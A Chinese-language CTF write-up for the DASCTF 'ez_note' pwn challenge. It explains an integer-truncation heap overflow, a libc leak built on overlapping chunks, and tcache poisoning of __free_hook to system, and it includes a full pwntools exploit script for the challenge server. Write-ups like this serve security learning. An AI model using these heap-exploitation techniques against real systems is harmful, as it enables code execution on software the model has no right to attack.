这题拖了挺久的,因为一些知识点还不是很明白。
分析过程
checksec 保护全开
[*] '/mnt/e/sec/dasctf/ez_note/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
溢出点
检查大小和申请堆块时,long类型转int和unsigned int的截断。
写入堆块时,long类型读取。
gbl_size[2 * size_idx] = myRead(); // long
if ( (int)gbl_size[2 * idx] <= 127 || (int)gbl_size[2 * idx] > 1024 ) // long to int
*((_QWORD *)¬es + 2 * v2) = malloc((unsigned int)gbl_size[2 * idx]); // long to unsigned
note[read(0, note, gbl_size[2 * idx] - 1LL)] = 0; // read as long
泄露 libc
这里泄露libc利用切割堆块造成堆块重叠。
- 利用溢出篡改第二个堆块大小,使第二个堆块大小满足largebin(切割发生在largebin),然后释放。
- 申请一块内存使切割后剩下的堆块与之前申请的堆块发生重叠
此时第二个堆块带着篡改的header进入 unsorted bin 中。
申请 0x80 大小堆块,切割篡改的0x4b0大小堆块。
篡改的堆块先进入unsorted bin中,然后整理进入large bin中,被取出切割掉0x90大小,剩下刚好到第三个堆块位置。
此时,第三个堆块在 unsorted bin 中处于释放状态,fd和bk指针指向unsorted bin,同时可以通过之前申请的note2读到,用gnol3师傅的话说,处于一种既死又活的状态,hhh...
fd 和 bk 指向的unsorted bin在main_arena
结构体内部,与 main_arena
存在固定偏移,同样与 libc 基址存在固定偏移。
因此,泄露该地址即可计算得到 libc 基址。
# leak
add(0x80, b'overflow') # 0
add(0x80, b'note1') # 1
add(0x200, b'note2') # 2
add(0x200, b'note3') # 3
add(0x80, b'note4') # 4
delete(0)
# z()
# 堆溢出覆盖改size
payload = b'A'*0x80+pack(0)+pack(0x4b1)
add(0x100000080, payload) # 0
# z()
delete(1)
# z('b _int_malloc')
# 切割堆块,使头结点落在note2堆块
add(0x80, b'note1') # 1
# z()
addr = unpack(show(2)[:6].ljust(8, b'\0'))
log.success('leak addr: '+hex(addr))
Get Shell
利用 tcache poisoning,修改free hook指向system,然后释放一个"/bin/sh"块Get Shell。
# tcache poisoning
free_hook = libc_base + libc.sym['__free_hook']
log.success('free hook: '+hex(free_hook))
system_addr = libc_base + libc.sym['system']
add(0x80, b'countholder')
delete(5)
delete(1)
delete(0)
payload = 0x80*b'a' + pack(0) + pack(0x91) + pack(free_hook)
add(0x100000080, payload)
# z()
add(0x80, b'give back')
# z()
payload = pack(system_addr)
add(0x80, payload)
# z()
delete(add(0x80, b'/bin/sh'))
Exploit
from pwn import *
debug = False
local_path = './pwn'
remote_path = 'node4.buuoj.cn'
remote_port = 28501
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
context.binary = local_path
if debug:
io = process(local_path)
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
# context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def z(a=''):
if debug:
gdb.attach(io, a)
if a == '':
raw_input()
else:
pass
def itob(num):
return str(num).encode()
def menu(option):
io.sendafter(b'Your choice:', itob(option))
def add(size, content):
menu(1)
io.recvuntil(b'Note ID:')
idx = int(io.recvline(keepends=False))
io.sendafter(b'Note size:', itob(size))
io.sendafter(b'Note content:', content)
return idx
def delete(idx):
menu(2)
io.sendafter(b'Note ID:', itob(idx))
def show(idx):
menu(3)
io.sendafter(b'Note ID:', itob(idx))
io.recvuntil(b'Note content:')
content = io.recvline(keepends=False)
return content
def quit():
menu(4)
def exp():
# leak
add(0x80, b'overflow') # 0
add(0x80, b'note1') # 1
add(0x200, b'note2') # 2
add(0x200, b'note3') # 3
add(0x80, b'note4') # 4
delete(0)
# z()
# 堆溢出覆盖改size
payload = b'A'*0x80+pack(0)+pack(0x4b1)
add(0x100000080, payload) # 0
# z()
delete(1)
# z()
# 切割unsorted bin堆块,使头结点落在#2堆块的con位
add(0x80, b'note1') # 1
# z()
addr = unpack(show(2)[:6].ljust(8, b'\0'))
log.success('leak addr: '+hex(addr))
unsorted_offset = 0x1ebbe0
# unsorted_offset = 0x1ecbe0
libc_base = addr - unsorted_offset
log.success('leak libc base: '+hex(libc_base))
# z()
# tcache poisoning
free_hook = libc_base + libc.sym['__free_hook']
log.success('free hook: '+hex(free_hook))
system_addr = libc_base + libc.sym['system']
add(0x80, b'countholder')
delete(5)
delete(1)
delete(0)
payload = 0x80*b'a' + pack(0) + pack(0x91) + pack(free_hook)
add(0x100000080, payload)
# z()
add(0x80, b'give back')
# z()
payload = pack(system_addr)
add(0x80, payload)
# z()
delete(add(0x80, b'/bin/sh'))
io.interactive()
if __name__ == '__main__':
exp()
疑问点
这次主要问题集中在leak部分,也反映了我基础不扎实,回头再复习一哈
-
切割堆块的知识点
- 什么情况触发堆块切割?见切割堆块
-
各个bin之间的关系
- 什么时候放到unsorted bin?
- 切割后剩余堆块
- 刚释放的堆块
- 什么时候放到unsorted bin?